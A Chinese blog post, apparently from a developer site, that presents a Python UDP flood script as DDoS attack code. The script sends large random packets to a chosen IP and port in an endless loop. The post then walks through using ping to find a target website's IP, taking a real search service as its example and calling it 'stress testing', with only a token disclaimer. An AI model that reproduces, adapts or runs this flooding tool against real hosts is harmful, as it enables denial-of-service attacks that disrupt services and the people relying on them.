Python Ddos攻击代码

这是一个用Python编写的简单的DDoS攻击源码。该代码通过创建一个UDP套接字并发送大量随机数据包到指定的IP地址和端口号来实现DDoS攻击。攻击大小可以通过更改"bytes"变量中的数字来调整。不过我建议大家不要拿去做坏事哈!

import os
import socket
import random
from datetime import datetime

now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

bytes = random._urandom(65099)

ip = "192.168.XXX.XXX"
port = 80

os.system("clear")

sent = 0
while True:
    sock.sendto(bytes, (ip, port))
    sent = sent + 1
    print("已发送 %s 个数据包到 %s 端口 %d" % (sent, ip, port))

如果大家不知道你要测压的网站的ip是什么,可以像这样

1.打开命令提示符

然后你会看到如下的状态

Microsoft Windows [Version 10.0.22621.2283]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Administrator>

2.输入ping 网址

Microsoft Windows [Version 10.0.22621.2283]
(c) Microsoft Corporation. All rights reserved.

C:\Users\江>ping 123.sogou.com

我这里ping的是搜狗浏览器的ip,你们的自己修改。注意!要去掉"https://"或"http://",后面不能留有"/"

3.按下回车键,你就会看到如下状态

Microsoft Windows [Version 10.0.22621.2283]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Administrator>ping 123.sogou.com

Pinging ins-yskxifo9.ias.tencent-cloud.net [120.241.130.197] with 32 bytes of data:
Reply from 120.241.130.197: bytes=32 time=20ms TTL=54
Reply from 120.241.130.197: bytes=32 time=21ms TTL=54
Reply from 120.241.130.197: bytes=32 time=24ms TTL=54
Reply from 120.241.130.197: bytes=32 time=22ms TTL=54

Ping statistics for 120.241.130.197:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 20ms, Maximum = 24ms, Average = 21ms

C:\Users\Administrator>

其中120.241.130.197就是搜狗浏览器的ip了

我们下次见!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值